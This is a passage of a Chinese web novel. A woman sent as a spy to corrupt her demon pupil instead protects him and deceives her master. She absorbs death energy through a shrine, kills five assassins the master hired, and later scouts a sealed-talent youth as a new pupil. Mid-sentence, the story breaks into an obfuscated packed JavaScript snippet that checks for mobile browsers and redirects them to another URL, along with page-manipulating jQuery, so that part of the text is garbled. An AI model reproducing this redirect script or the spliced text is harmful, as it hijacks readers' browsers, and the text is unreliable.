苍爵的分析有道理。那个人能悄无声息地进来,说明要么实力很强,要么有特殊能力。如果是前者,那对方要杀她易如反掌,没必要留纸条提醒。如果是后者,那对方可能没有恶意,只是想传递信息。 问题是谁呢? 她想了半天没头绪,干脆不想了,开始研究自己的天赋。 这段时间她一直在用“眼见为识”看各种东西,看得越多,越觉得这个天赋好用。比如她现在看小光,看到的不再是“未命名的光系生命体雏形”,而是“小光,光系生命体,幼生期,以魔力为食,可进化”。 可进化?秦珊眼睛亮了。 她凑近了问小光:“你能进化?” 小光闪了闪,像是在说“我也不知道”。 秦珊想了想,试着往玻璃罐子里注入一点魔力。小光立刻扑过来,把那点魔力吸收了,然后闪得更亮了一些。 还真能吸收魔力。 秦珊又注入一些,小光照单全收。连续几次之后,小光的亮度明显增加了,而且体积也大了一圈。 秦珊停下来,小光凑过来蹭她的手,像是在撒娇。 “行了行了,明天再喂你。”秦珊笑着说,“现在先让我想想别的。” 她拿出怀里的小神龛,放在桌上。 小光看到神龛,忽然往后退了退,光芒变得暗淡,像是在害怕。 秦珊愣了一下:“你怕它?” 小光闪了闪,躲到了罐子角落里。 秦珊看着那个巴掌大的神龛,心里有些复杂。这东西来自归墟,带着死亡的气息,小光这种新生的光系生命会害怕也正常。 她把神龛拿起来,仔细端详。 神龛很小,木头做的,表面刻着一些模糊的花纹。看起来平平无奇,但秦珊知道,这里面住着一个老前辈,一个能传她湮灭之法的老前辈。 她用“眼见为识”看它,看到的信息是: 【归墟神龛,内蕴湮灭传承,认主状态。当前主人:秦珊。可吸收死亡气息转化为修为,可释放死亡领域,可召唤归墟守卫(未解锁)。】 秦珊看着“可吸收死亡气息转化为修为”这几个字,心里一动。 吸收死亡气息,不是亲手杀戮。 那是不是说,她可以去战场之类的地方,吸收那些已经死了的生灵残留的气息,用这种方式修炼? 这样的话,她就不用亲手杀生了。 她越想越觉得可行。魔界经常有小规模的冲突,打死的魔族到处都是,那些死亡气息如果没人吸收,过段时间就散了。她去吸收,既修炼了,又不算亲手杀戮,一举两得。 秦珊拍了一下桌子:“就这么办。” 小光被她吓了一跳,躲在角落里不敢动。 秦珊安抚地看了它一眼,然后把神龛收起来,开始计划明天去哪找死亡气息。 第二天,她跟苍爵请了个假,说自己有事要办,让他自己下棋复习。 苍爵虽然有些疑惑,但也没多问,只是说:“师父小心。” 秦珊点点头,带上神龛和小光,出了门。 她之前从苍爵的地图上看到,沧澜境东南方向有一片废弃的古战场,据说几千年前那里打过一场大战,死了无数魔族。虽然时间久了,但那种地方应该还有残留的气息。 她走了一上午,终于到了那片古战场。 说是古战场,其实已经看不出战场的样子了。地面上长满了杂草,偶尔有几块黑色的石头裸露在外,上面依稀可见刀剑的痕迹。风吹过的时候,呜呜作响,像是亡魂的哀嚎。 秦珊站在战场边缘,深吸一口气。 她感觉到了一种奇怪的气息。不是活物的气息,也不是死物的气息,而是介于两者之间,阴冷,沉重,让人心里发毛。 小光缩在罐子里,光芒暗得几乎看不见。 秦珊拿出神龛,放在地上。 神龛刚一落地,周围的气息就躁动起来。秦珊看见一缕缕黑色的雾气从四面八方涌来,钻进神龛里。那些雾气很淡,如果不是她仔细看,根本注意不到。 神龛微微震动,像是在吸收那些雾气。 秦珊在旁边等着,一边等一边观察。这个过程持续了大约半个时辰,周围的雾气渐渐稀薄,最后完全消失。 神龛停止震动,恢复了平静。 秦珊拿起来看,用“眼见为识”: 【归墟神龛,已吸收微量死亡气息,可转化为修为。是否转化?】 秦珊选了“是”。 一股冰凉的气息从神龛涌入她体内,沿着经脉流转。那股气息很温和,不像是杀戮带来的那种暴戾,反而像是一阵凉风吹过身体。 等气息消失,秦珊感觉自己的身体有了一些变化。具体是什么变化说不上来,但就是感觉更……扎实了?更像魔族了? 她用“眼见为识”看自己: 【秦珊,魔族(归墟传承者),修为:初窥门径。体内禁制(清泉道人设,毒性潜伏,五年后爆发)。】 初窥门径?之前是什么来着?她记得之前看的时候,修为那栏是空的。 原来吸收死亡气息真的能修炼。 秦珊心里一阵激动。她把神龛收起来,又在战场转了一圈,把能吸收的气息都吸收了。虽然量不大,但胜在安全,不用杀人。 回去的路上,她心情很好。小光也从惊吓中恢复过来,开始在她身边飘来飘去,时不时蹭蹭她的手。 秦珊看着它,忽然想起一个问题:小光吃什么? 她之前以为它吸收魔力就行,但刚才在古战场,它一直缩着不敢动,好像对那些死亡气息很抗拒。那它平时吃什么? 她试着往罐子里注入魔力,小光立刻扑过来吸收。看来魔力是它的主食,那死亡气息就是毒药了。 秦珊决定以后多喂它魔力,让它快快长大。 回到家,秦珊把神龛放好,开始准备晚上的课程。虽然她请了一天假,但作业还是要布置的。她给苍爵留了一道题:用今天学的博弈心理学,设计一个能让自己在家族中站稳脚跟的策略。 写完题,她正准备休息,忽然听见窗户被敲响了。 秦珊心里一紧,走到窗边。 窗外是一只千纸鹤。 她松了口气,推开窗户,让千纸鹤飞进来。 千纸鹤落在桌上,变成一封信。秦珊展开一看,上面写着: 【进展如何?为何多日未报?限三日内回复详细进度。另,新任务:设法让苍爵与家族决裂,使其孤立无援。事成之后,有重赏。】 秦珊看完,沉默了很久。 让苍爵与家族决裂,使其孤立无援。这就是修真界的打算。他们怕的不是苍爵变强,怕的是苍爵得到家族的支持。如果苍爵跟家族决裂,就算他再天才,也翻不起什么浪。 可惜,他们不知道,苍爵早就跟家族没什么关系了。他本来就是个被嫌弃的废物,孤立无援是他的常态,根本不用她动手。 但这话不能跟师父说。 秦珊拿起笔,开始写回信: 【苍爵已完全信任于我,正在逐步引导其远离家族。目前他与父亲关系冷淡,与兄弟几无往来,孤立之势已成。下一步将继续加深其对家族的厌恶,预计三个月内可使其与家族彻底决裂。】 写完,她把信折好,交给千纸鹤。千纸鹤拍拍翅膀飞走了。 秦珊看着它消失在夜色里,心里有些不是滋味。 她在骗师父,骗得很彻底。但她不后悔。苍爵是无辜的,她不可能为了自己活命去毁了他。 五年,她还有五年时间。五年之内,一定要找到破解禁制的办法。 第二天,苍爵来上课的时候,秦珊把昨天那道题的答案看了一遍。苍爵写得很认真,分析了家族中每个人的性格和利益,设计了一个逐步争取支持的策略。虽然有些地方还很稚嫩,但思路是对的。 秦珊夸了他几句,然后开始今天的课程。 今天的课程是“基础物理学”。 没错,秦珊打算给苍爵讲物理。不是为了让他学会造飞机大炮,而是为了培养他的逻辑思维和对世界的认知。魔族对世界的认知太原始了,在他们眼里,一切都是由魔力构成的,根本不懂什么力学、光学、热学。 秦珊先从最简单的开始:什么是力,什么是运动,什么是惯性。 她拿了一块石头,让苍爵用手推。石头动了。她又让苍爵用同样的力推一块更大的石头,石头没动。她问:“为什么?” 苍爵想了想:“因为大石头更重?” 秦珊点头:“对,这就是质量。力作用在物体上,物体会加速。质量越大,加速越难。” 苍爵若有所思地点点头。 接下来是光学。秦珊拿出她炼制的冷光灯,问:“你知道为什么这个灯会发光吗?” 苍爵摇头。 秦珊说:“因为里面有光系的生命体,它在消耗魔力发光。但如果没有它,我们能不能用别的方式发光?” 她拿了一块玻璃,放在阳光下。阳光透过玻璃,在地上投下一片光斑。她又拿了一块凹凸不平的玻璃,阳光透过它,在地上投下扭曲的光斑。 苍爵看得入神:“师父,这就是光吗?” 秦珊点头:“对,光会直线传播,遇到透明的物体会折射,遇到不透明的物体会反射。掌握了这些,你就能利用光做很多事。” 苍爵眼睛亮亮的,开始问各种问题。秦珊一一解答,偶尔自己也答不上来,就老实说不知道,等研究清楚了再告诉他。 一天的课下来,苍爵学到了很多新东西,秦珊自己也复习了一遍物理知识。 傍晚,苍爵照例送秦珊回家。 走到家门口,苍爵忽然停下脚步。 秦珊看着他:“怎么了?” 苍爵竖起食指,做了个噤声的手势。他侧耳听了一会儿,压低声音说:“屋里有人。” 秦珊心里一紧。她下意识地往后退了一步,挡在苍爵前面。虽然她不会打架,但她是师父,得护着徒弟。 苍爵轻轻把她拉到身后,自己走上前,推开门。 屋里很黑,只有小光在角落里发出微弱的亮光。苍爵扫视一圈,目光落在桌边。 桌边的椅子上,坐着一个女人。 她穿着一身暗红色的长袍,长发披散,脸上戴着一张银色的面具,只露出一双幽深的眼睛。 是那个银色面具的女人。 秦珊心里一沉,但面上没表现出来。她走上前,站在苍爵旁边,问:“你是谁?” 女人看着她,没有说话。 苍爵的手已经按在了腰间的短刀上。他虽然不喜欢打架,但如果有人要对师父不利,他不会犹豫。 女人终于开口了。她的声音很轻,带着一丝沙哑:“你就是秦珊?” 秦珊点头:“是我。” 女人说:“有人要杀你。” 秦珊一愣。 女人继续说:“暗影接了任务,目标是你。我只是来提醒你。” 秦珊看着她:“你是暗影的人?” 女人没有回答,只是站起来,走到窗边。月光照在她身上,在地面投下一道长长的影子。 她说:“三天后,会有人来。你最好做好准备。” 秦珊问:“为什么提醒我?” 女人回头看了她一眼,那双眼睛里闪过一丝复杂的情绪。她没有回答,推开窗户,身形一闪,消失在夜色里。 屋里恢复了安静。 苍爵松了口气,手从刀柄上放下来。他看着秦珊:“师父,她的话可信吗?” 秦珊沉默了一会儿,说:“不管可不可信,我们得做好准备。” 苍爵点头:“我回去告诉父亲,让他派人保护你。” 秦珊摇头:“别。你父亲的人一来,反而会引起注意。我们自己想办法。” 苍爵急了:“可是师父,你打不过他们。” 秦珊笑了:“谁说要打了?打架是最笨的办法。他们不是要杀我吗?那我们就让他们找不到。” 苍爵愣了一下:“师父的意思是……” 秦珊说:“从明天开始,我们换个地方上课。你来定地方,每天换一个,不固定。这样他们找不到我的行踪。” 苍爵眼睛一亮:“好办法。” 秦珊继续说:“还有,你帮我查查暗影的底细,看能不能查到是谁雇的他们。知己知彼,才能活下来。” 苍爵郑重地点头:“师父放心,我一定查出来。” 秦珊拍拍他的肩膀:“行了,你先回去吧。今晚小心点。” 苍爵说:“我今晚不走了。我守着你。” 秦珊愣了一下,然后笑了:“怎么,怕师父被杀了?” 苍爵认真地说:“怕。” 秦珊心里一暖,没再拒绝:“行,那你睡地上。” 苍爵点点头,找了一块干净的地方坐下,开始闭目养神。 秦珊回到床边坐下,看着角落里的苍爵,心里忽然踏实了很多。 这孩子,真的长大了。 一夜无事。 第二天早上,苍爵出去买了早饭回来。两人吃完,按照秦珊的计划,换了一个新的地方上课。 新地方是苍爵找的,一个废弃的矿洞,离演武场不远,但很隐蔽。洞里很黑,但秦珊有冷光灯,照亮了一小块地方。 今天的课程是“实战模拟训练”。 秦珊让苍爵假设自己是暗影的杀手,要刺杀一个人。然后她提出问题,让苍爵设计刺杀方案。苍爵想了几个方案,秦珊一一指出其中的漏洞,然后让他改进。 苍爵越练越投入,到后来已经开始主动思考各种可能的情况。他问:“师父,如果杀手不止一个呢?如果他们有特殊天赋呢?如果他们提前埋伏好了呢?” 秦珊一一解答,顺便给他讲了一些反刺杀的技巧。 一天的训练下来,苍爵对暗影的刺杀方式有了大致的了解。虽然不知道具体会来什么样的人,但至少心里有底了。 傍晚,两人回到秦珊家。苍爵照例守夜,秦珊躺在床上,却睡不着。 她拿出小神龛,看着它发呆。 湮灭传承。死亡气息。如果真的遇到危险,她能不能用这个保护自己? 她想起“眼见为识”里提到的“释放死亡领域”和“召唤归墟守卫”。这两个技能她还没解锁,但如果能解锁,应该能对付杀手。 问题是,怎么解锁? 她试着往神龛里注入魔力,神龛没有反应。她又试着用“眼见为识”查看解锁条件,但信息里没写。 秦珊叹了口气,把神龛收起来。 算了,到时候再说吧。真要到了绝境,说不定就自动解锁了。 第三天。 秦珊和苍爵照例换了个新地方上课。这次是河边的一块大石头后面,视野开阔,有人靠近能及时发现。 今天的课程是“批判性思维日记”的讲评。苍爵写了一周的日记,秦珊一条条看,指出哪里分析得不够深入,哪里逻辑有漏洞。苍爵听得认真,时不时记几笔。 讲完日记,秦珊正准备讲下一个内容,忽然听见远处有动静。 她抬头一看,河边的小树林里,隐约有几个黑影在移动。 苍爵也看见了,立刻站起来,挡在秦珊前面。 秦珊压低声音:“几个?” 苍爵眯着眼数了数:“五个。” 秦珊心里一沉。五个杀手,她这边只有一个苍爵。虽然苍爵最近进步很大,但他从没真正打过架,能不能挡住五个专业杀手,很难说。 她当机立断:“跑。” 苍爵一愣:“师父?” 秦珊拉起他就跑:“别废话,往人多的地方跑。” 两人沿着河边狂奔,身后传来急促的脚步声。那些杀手追得很紧,速度明显比他们快。 秦珊边跑边想对策。去演武场?太远了。去城里?也远。回她家?更不可能。 她忽然想到一个地方:古战场。 那片地方她去过,地形复杂,有很多石头可以躲藏。而且那里有死亡气息,说不定能利用神龛。 她拉着苍爵改变方向,朝古战场跑去。 身后的杀手越来越近。秦珊能听见他们的呼吸声,能感觉到他们的杀意。 跑进古战场的那一刻,她拿出神龛,用力往地上一摔。 神龛落地,发出一声闷响。然后,一股浓烈的黑色雾气从神龛里涌出来,迅速向四周扩散。 杀手们追进雾气里,速度明显慢了下来。那雾气有古怪,能遮蔽视线,还能干扰感知。 秦珊拉着苍爵躲在一块大石头后面,喘着粗气。 苍爵低声问:“师父,这是什么?” 秦珊说:“死亡气息。别吸太多。” 苍爵点点头,捂住口鼻。 雾气越来越浓,几乎伸手不见五指。秦珊听见杀手们在雾气里摸索的声音,偶尔有咒骂声传来。 她趁机观察周围,寻找出路。但雾气太浓,什么都看不清。 忽然,一个杀手出现在她面前。 那人穿着一身黑衣,脸上没有面具,眼神冰冷。他看见秦珊,立刻挥刀砍来。 秦珊下意识地往后一躲,但刀还是划过了她的手臂,鲜血涌出。 苍爵怒吼一声,扑上去跟那人打在一起。他虽然不会打架,但力气大,皮厚,一时半会儿还能扛住。 秦珊捂住伤口,咬着牙站起来。她看着手里的神龛,心里忽然生出一个念头。 她闭上眼睛,集中精神,想象着神龛里的死亡气息涌向那些杀手。 神龛微微震动,然后,周围的雾气像是活了一样,向那五个杀手涌去。雾气钻进他们的口鼻,渗进他们的皮肤。 杀手们发出一阵惨叫,然后一个个倒在地上,抽搐了几下,不动了。 秦珊愣住了。 苍爵也愣住了,他看着那些杀手,又看看秦珊,张了张嘴,说不出话。 秦珊低头看着手里的神龛,脑子里一片空白。 她杀人了。 不,不是她杀的。是神龛杀的。但如果没有她,神龛不会杀人。 她蹲下来,干呕了几下,什么都没吐出来。 苍爵走过来,轻轻拍着她的背:“师父,你没事吧?” 秦珊摇摇头,站起来,看着那五具尸体。她的脸色很难看,但还是强迫自己冷静下来。 她用“眼见为识”看那些尸体,看到的信息是: 【暗影杀手,死亡原因:死亡气息过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365200|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量吸入,生机断绝。】 秦珊深吸一口气,说:“把他们埋了。” 苍爵点头,开始挖坑。秦珊在旁边帮忙,手上的伤口还在流血,但她顾不上疼。 埋完杀手,天已经黑了。 秦珊和苍爵回到她家,一路上谁都没说话。 进了屋,秦珊坐在椅子上,沉默了很久。 苍爵站在旁边,不知道该说什么。 过了很久,秦珊开口了:“苍爵。” “嗯?” “今天的事,别说出去。” 苍爵点头:“我知道。” 秦珊看着他:“你不怕我?” 苍爵愣了一下:“怕你什么?” 秦珊说:“我是杀了人的。五个。” 苍爵沉默了一会儿,然后说:“师父是为了救我们。他们不死,我们就会死。” 秦珊抬头看着他,少年的眼神清澈认真,没有半点恐惧或疏远。 她忽然笑了,笑着笑着,眼泪掉了下来。 苍爵慌了:“师父,你怎么哭了?” 秦珊擦掉眼泪,摇摇头:“没事,就是有点累。你回去吧,今晚不用守了。” 苍爵说:“我不走。” 秦珊看着他,最后还是点了点头:“行,那你睡地上。” 苍爵点点头,在老地方坐下。 秦珊躺在床上,看着天花板,久久没有睡着。 她杀人了。 虽然是被迫的,虽然是神龛杀的,但那些人确实是因为她死的。 她想起自己以前连虫子都不敢捏,现在却杀了人。虽然这里是魔界,虽然那些人是要杀她的,但心里的那道坎,还是很难跨过去。 她侧过身,看着角落里的小光。小光静静地待着,没有闪,像是在陪她。 秦珊轻声说:“小光,我是不是变坏了?” 小光闪了一下,像是在说“不是”。 秦珊笑了笑,闭上眼睛。 不管怎样,她活下来了。苍爵也活下来了。这就够了。 第二天,秦珊醒来的时候,发现苍爵已经出去了。桌上放着早饭,还有一张纸条: 【师父,我去查是谁雇的杀手。你好好休息。苍爵】 秦珊拿着纸条,心里暖暖的。这孩子,真的长大了。 她吃了早饭,处理了一下伤口,然后开始研究神龛。 昨天的事让她意识到,神龛的力量比她想象的要大。但那种力量太危险了,稍不注意就会失控。她得学会控制它,不能让它反过来控制自己。 她用“眼见为识”看神龛,发现信息更新了: 【归墟神龛,内蕴湮灭传承,认主状态。当前主人:秦珊。已吸收死亡气息:微量。可释放死亡领域(初级),可召唤归墟守卫(未解锁)。死亡领域释放需消耗死亡气息,范围十丈内,持续一炷香。】 初级死亡领域,范围十丈,持续一炷香。昨天那雾气应该就是死亡领域。只不过她当时是失控释放的,消耗的死亡气息是古战场吸收的那些。 秦珊试着往神龛里注入魔力,想看看能不能主动释放死亡领域。神龛没反应,可能是因为死亡气息不够。 她想了想,决定再去一趟古战场。 这次她没叫苍爵,一个人去了。古战场还是老样子,风呜呜地吹。她拿出神龛,放在地上,让神龛吸收周围残留的死亡气息。 这次吸收的时间比上次长,足足一个时辰才结束。神龛里的死亡气息明显多了不少。 秦珊把神龛收起来,正准备回去,忽然感觉到一阵奇怪的波动。 她抬头一看,不远处站着一个人。 是那个银色面具的女人。 秦珊心里一紧,下意识地握住神龛。但女人没有动手,只是静静地看着她。 秦珊问:“你又来干什么?” 女人说:“来看看你有没有死。” 秦珊冷笑:“托你的福,没死。” 女人沉默了一会儿,说:“昨天那五个杀手,是我能查到的全部。雇主是谁,我没查到。但能出得起钱请暗影的,不是普通人。” 秦珊问:“你为什么要帮我?” 女人看着她,那双眼睛里又闪过一丝复杂的情绪。她张了张嘴,像是想说什么,但最后只是说:“以后小心点。” 说完,她转身离开,消失在乱石中。 秦珊站在原地,看着她的背影,心里涌起一股奇怪的感觉。 这个女人,到底是谁?为什么要帮她? 晚上,苍爵回来了。 他脸上带着一丝兴奋,进门就说:“师父,我查到了。” 秦珊精神一振:“谁?” 苍爵说:“暗影的雇主信息很难查,但我父亲有办法。他帮我查到了,雇主的名字叫……清泉道人。” 秦珊愣住了。 清泉道人。 她的师父。 那个在她体内种下禁制、让她当奸细的师父。 他要杀她? 秦珊脑子里乱成一团。为什么?她明明一直在按时汇报,任务也在“完成”,他为什么要杀她? 苍爵看她脸色不对,小心翼翼地问:“师父,你认识这个人?” 秦珊回过神,摇摇头:“不认识。” 她不能让苍爵知道她和清泉道人的关系。那是她最大的秘密。 苍爵虽然有些怀疑,但也没追问。他说:“师父,这个人为什么要杀你?” 秦珊说:“我也不知道。可能是修真界的人吧,想除掉魔界的老师。” 这个解释勉强说得通。苍爵点点头,说:“那我让父亲查查这个人的底细?” 秦珊摇头:“不用。你父亲已经帮了很大忙了,别再麻烦他。这件事我自己处理。” 苍爵有些不放心,但见秦珊态度坚决,只好说:“那师父有事一定要告诉我。” 秦珊点点头,拍拍他的肩膀:“行了,回去休息吧。明天照常上课。” 苍爵嗯了一声,转身走了。 秦珊关上门,背靠着门,慢慢滑坐到地上。 清泉道人要杀她。 为什么? 她想了很久,终于想到一个可能:她的汇报太完美了。 原主之前做奸细,任务完成得磕磕绊绊,经常要费很大力气才能让一个魔族天才走火入魔。但她呢?一个月就让苍爵“孤立无援”,进度快得离谱。 清泉道人可能起疑了。他怀疑她叛变,所以派杀手来试探,或者干脆想除掉她。 秦珊苦笑。 她确实叛变了,从第一天就叛变了。但她一直在演,演得很辛苦。没想到,演得太好也会出事。 现在怎么办? 清泉道人在修真界,她拿他没办法。但他能在魔界雇杀手,说明他在魔界也有眼线。她的处境很危险。 秦珊坐在地上,想了很久。 最后她决定:不管怎样,日子还要过。杀手来一个杀一个,来两个杀一双。反正她有神龛,有苍爵,有这段时间学到的本事。 实在不行,就去投奔苍澜君。他给了她令牌,应该会保她。 秦珊站起来,拍拍身上的灰,走到床边躺下。 小光凑过来,贴在她手边,轻轻闪了闪。 秦珊摸了摸罐子,说:“小光,以后可能要过苦日子了。” 小光又闪了闪,像是在说“不怕”。 秦珊笑了,闭上眼睛。 不管怎样,她还有小光,还有苍爵,还有那个银色面具的女人(虽然不知道她是谁)。 她不孤单。 第二天,秦珊照常去上课。 苍爵已经等在老地方,看见她来,眼睛亮了亮。 秦珊走过去,拍拍他的肩膀:“今天学什么?我还没想好。” 苍爵说:“师父,我想学你说的那个……互联网。” 秦珊一愣:“互联网?” 苍爵点头:“你之前说过,我的天赋可以当互联网用。我想试试。” 秦珊看着他,心里一阵欣慰。这孩子终于开始正视自己的天赋了。 她说:“好,今天就学这个。” 她让苍爵释放他的天赋领域【灵犀领域】。苍爵闭上眼睛,片刻后,秦珊感觉到一股奇怪的力量笼罩了自己。 那感觉很奇妙,像是有人在她脑子里轻声说话,但又听不清说什么。 苍爵睁开眼睛,说:“师父,你能感觉到我吗?” 秦珊点头:“能感觉到,但听不清。” 苍爵皱眉,又试了几次。慢慢地,声音越来越清晰,最后秦珊能清楚地听见苍爵在她脑子里说:“师父,你听得见吗?” 秦珊激动得差点跳起来:“听得见!苍爵,你成功了!” 苍爵也笑了,笑得眼睛弯弯的。 秦珊说:“你现在能覆盖多大范围?” 苍爵感应了一下,说:“大概……十丈左右。” 秦珊点头:“很好。以后你每天练习,争取把范围扩大。如果能覆盖整个沧澜境,你就是魔界最厉害的人。” 苍爵用力点头。 接下来,秦珊开始教他怎么用这个天赋。她让他试着同时链接多个目标,试着传递复杂的信息,试着定位链接者的位置。苍爵学得很快,半天时间就掌握了基本用法。 傍晚,秦珊让他链接自己,然后让他走远,试试最远能保持多远。 苍爵走出十丈,链接还在。二十丈,开始模糊。三十丈,彻底断开。 秦珊记录下来:目前最大范围二十五丈左右,超过会断连。 她对苍爵说:“以后每天练习,范围会慢慢扩大。还有,你可以试试链接多个人的时候,能不能同时传递不同信息。这个以后用得上。” 苍爵点头,认真记下来。 回家的路上,秦珊心情很好。苍爵的互联网天赋终于开始开发了,虽然还很初级,但这是个好的开始。以后有了这个,她可以和苍爵远程沟通,可以传递信息,可以干很多事。 走到家门口,秦珊忽然停下脚步。 门上有一张纸条。 她拿下来一看,上面写着: 【暗影不会再来了。雇主已取消任务。但你还是小心点。落款:一个想帮你的人】 秦珊看着纸条,沉默了很久。 取消任务了?清泉道人收手了?还是出了什么事? 她把纸条收起来,推门进屋。 不管怎样,暂时安全了。 接下来的日子,恢复了平静。 秦珊继续教苍爵,苍爵继续进步。他的互联网天赋范围扩大到了五十丈,能同时链接三个人。他的棋艺越来越精湛,秦珊已经很难赢他。他的兵法、心理学、博弈论都学得不错,开始能独立分析复杂局面。 秦珊的炼器也有进展。她成功炼制出了能定位的地图,范围覆盖沧澜境。她还炼制出了能保温的饭盒,让苍爵每天能吃上热饭。小光在她的喂养下长大了不少,已经能从罐子里出来,飘在她身边飞来飞去。 神龛里的死亡气息积累得越来越多,她学会了主动释放死亡领域,还学会了用死亡气息感知周围的生命。虽然还是不喜欢杀人,但至少有了自保的能力。 银色面具的女人偶尔会出现,但只是远远地看着,从不靠近。秦珊试着追过几次,但每次都追不上。 清泉道人的千纸鹤还是按时来,秦珊还是按时回。她继续编造苍爵走火入魔的进度,继续谎报军情。清泉道人似乎相信了,再没有派杀手来。 日子就这样一天天过去。 秦珊有时候会想,如果能一直这样下去,也不错。 但她知道,不会的。 五年后,魔尊会醒来。 那时候,才是真正的考验。 不过没关系。 她有苍爵,有小光,有神龛,有这段时间学到的本事。 她有信心,活下来。 5. 第5章强大 三个月后。 秦珊站在自家院子里,看着飘在半空中的小光,心情复杂。 小光已经不是当初那团只会发光的软塌塌的小东西了。它现在有了一点点形状,像是一只缩小版的萤火虫,身体圆滚滚的,长着两对透明的翅膀,飞起来的时候会拖出一条细细的光尾。 它绕着秦珊飞了两圈,然后落在她肩膀上,用脑袋蹭了蹭她的脖子。 秦珊伸手摸了摸它,软软的,暖暖的,手感很好。 “小光,你现在算是什么品种?”她问。 小光歪着脑袋,似乎不太理解这个问题。 秦珊用眼见为识看了看它: 【小光,光系生命体,幼生期进阶中,已形成初步意识,可吸收魔力成长,可释放微弱光芒,可与主人进行简单情感沟通。】 简单情感沟通。秦珊试过,她高兴的时候小光会闪得特别亮,她难过的时候小光会贴着她不动,她生气的时候小光会躲得远远的。确实算是沟通了。 她从怀里掏出一个小袋子,里面装着她炼制的魔力结晶。这东西是她这三个月的新成果,用多余的魔力压缩而成,方便携带,可以随时给小光喂食。 她倒出一颗,小光立刻扑过来抱住,咔嚓咔嚓啃起来,像是在吃糖豆。 秦珊看着它,嘴角忍不住上扬。 这三个月,日子过得很平静。 苍爵的互联网天赋进步神速,现在已经能覆盖整个沧澜城,最远能达到五十里。他能同时链接五个人,传递的信息也越来越复杂,从简单的“吃饭了吗”到能完整讲述一个故事。 秦珊让他每天练习,还让他试着用这个天赋当传声筒,帮她传递消息给城里的几个熟人。苍爵很乐意干这个,他觉得自己的天赋终于有了用武之地。 炼器方面,秦珊的成果也不少。她炼制出了能记录影像的石头,能自动加热的锅,能隔空取物的手套。每一样东西都不算强大,但每一样都让她离自己的“理想家园”更近一步。 唯一的问题是,她一直想炼制的那个能模拟战场的沙盘,始终没能成功。她想要的是一个能投影出地形、能让双方在虚拟空间里推演战局的法宝,但这东西涉及的技术太复杂,她还没摸到门道。 银色面具的女人这三个月出现过几次,但每次都只是远远地看着,从不靠近。秦珊试着追过,追不上,也试着喊过,喊不应。她渐渐习惯了这道若有若无的影子,有时候甚至会觉得,有个人在暗处盯着自己,反而有种莫名的安全感。 清泉道人的千纸鹤还是按时来,秦珊还是按时回。她继续编造苍爵走火入魔的进度,最近又加了一条:苍爵已经开始出现幻觉,精神恍惚,战斗力大幅下降。 清泉道人那边似乎很满意,回信里夸了她几句,让她继续努力。 秦珊每次看到那些夸奖,心里都忍不住冷笑。 努力?她确实在努力。努力让苍爵变得更强,努力让自己活得更久,努力在这操蛋的世界里站稳脚跟。 至于师父的任务?去他妈的。 这天早上,秦珊照常去演武场找苍爵。 苍爵已经等在老地方,那个偏僻的角落。他看见秦珊来,眼睛亮了亮,站起来打招呼:“师父。” 秦珊点点头,在他旁边坐下。 这三个月苍爵又长高了一些,脸上的稚气褪去了不少,眉眼间隐隐有了一股沉稳的气质。他的眼睛还是那双红色的瞳孔,但现在已经不那么吓人了,秦珊看着反而觉得挺好看。 “今天学什么?”苍爵问。 秦珊想了想:“今天学点不一样的。你跟我去演武场里面转转,看看有没有什么有意思的人。” 苍爵有些意外:“师父以前不让我去人多的地方。” 秦珊说:“那是以前。现在你长大了,也该见见世面了。而且,我想找个人。” “找谁?” 秦珊没回答,站起来朝演武场中心走去。 这三个月她一直在想一件事:要不要再收个徒弟。 苍爵很好,一个徒弟已经让她忙得够呛。但她也清楚,苍爵的天赋是信息类的,适合当幕后的大脑,不适合冲锋陷阵。如果要在这个世界活下去,她需要一个能打的徒弟,一个能在关键时刻挡在前面的徒弟。 当然,能打的徒弟不一定非要打架厉害。如果能找到一个天赋特别奇葩的,像苍爵那样被当成废物,但实际潜力巨大的,那就更好了。 所以她决定来演武场转转,用她的眼见为识看看有没有被埋没的人才。 演武场还是一如既往的热闹。大大小小的魔族在战斗台上打得热火朝天,围观的人群发出阵阵欢呼。秦珊带着苍爵在人群里穿行,一路走一路观察。 她用眼见为识看每一个路过的魔族。大部分人的信息都很普通,什么“狼族战士,筑基期”“熊族力士,金丹期”“蛇族刺客,元婴期”,偶尔有几个天赋好一点的,也是比较常见的战斗天赋。 她走着走着,忽然停住脚步。 不远处有一个战斗台,台上站着两个人。不对,是两个魔族。一个是大块头的牛头人,另一个是瘦小的少年,看起来只有十五六岁,穿着一身破旧的灰袍子,头发乱糟糟的,脸上脏兮兮的。 牛头人一拳轰过去,少年躲开,但动作很慢,差点被打中。牛头人又是一拳,少年又躲开,但还是慢。围观的人群发出哄笑声,有人喊:“小废物,赶紧下来吧,别丢人了!” 少年咬着牙,没说话,继续躲。 秦珊盯着那个少年,用眼见为识看过去: 【未知名,魔族,混血种(狼族+人族),修为:筑基初期。天赋:混沌预知(未觉醒),当前状态:天赋被封印,感知混乱,时灵时不灵。】 秦珊眼睛亮了。 混沌预知?这名字听起来就很厉害。虽然现在被封印了,但能叫“预知”的,绝对是好东西。 她问苍爵:“那个人你认识吗?” 苍爵顺着她的目光看过去,点点头:“认识。他叫阿九,是混血种,没人愿意收他当徒弟。他每天都会来演武场找人挑战,但从来没赢过。” “他为什么要挑战?” 苍爵说:“不知道。可能是想证明自己吧。不过他每次都被打得挺惨的。” 秦珊看着台上那个狼狈躲闪的少年,心里已经有了主意。 台上的战斗还在继续。牛头人打了半天没打中,有些不耐烦了,忽然改变战术,一个假动作骗过少年,然后一拳轰在他肚子上。 少年被打飞出去,重重摔在地上,吐出一口血。 牛头人走过去,居高临下地看着他:“小废物,下次别来找我,浪费我时间。” 说完,他转身下台,人群也跟着散了。 少年趴在地上,一动不动。 秦珊走过去,蹲在他面前。 少年抬起头,看见一张陌生的脸,愣了一下。 秦珊问:“你没事吧?” 少年擦了擦嘴角的血,挣扎着坐起来,声音沙哑:“没事。” 秦珊看着他,问:“你为什么天天来挨打?” 少年沉默了一会儿,说:“因为我想变强。” 